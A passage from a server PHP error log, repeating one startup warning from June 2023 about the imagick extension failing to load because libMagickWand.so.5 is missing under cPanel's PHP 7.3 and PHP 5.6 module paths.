(/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 08:42:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 08:43:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 14:44:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 14:45:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 15:45:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 20:48:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 20:49:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 02:51:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 02:51:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 05:29:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 08:54:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 08:54:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 14:57:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 14:58:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 19:00:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 21:02:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 04:35:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 07:51:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 11:36:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 20:46:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 01:18:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 01:25:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 07:49:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 07:55:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 11:06:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 14:22:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 14:29:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 20:55:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 21:06:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 01:03:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 03:29:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 03:44:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 10:02:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 10:08:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 14:47:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 16:36:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 16:39:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 23:08:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 23:17:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 02:57:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 05:42:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 05:50:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 12:15:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 12:22:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 16:10:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 18:48:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 18:55:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 01:21:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 01:29:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 05:10:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 07:56:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 08:04:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 14:29:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 14:38:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 21:03:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 21:15:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 00:45:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 03:36:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 03:52:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 10:11:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 10:20:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 13:23:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 16:45:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 16:54:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 23:16:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 23:20:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [23-Jun-2023 02:48:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 05:48:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 05:52:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 12:20:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0 [23-Jun-2023 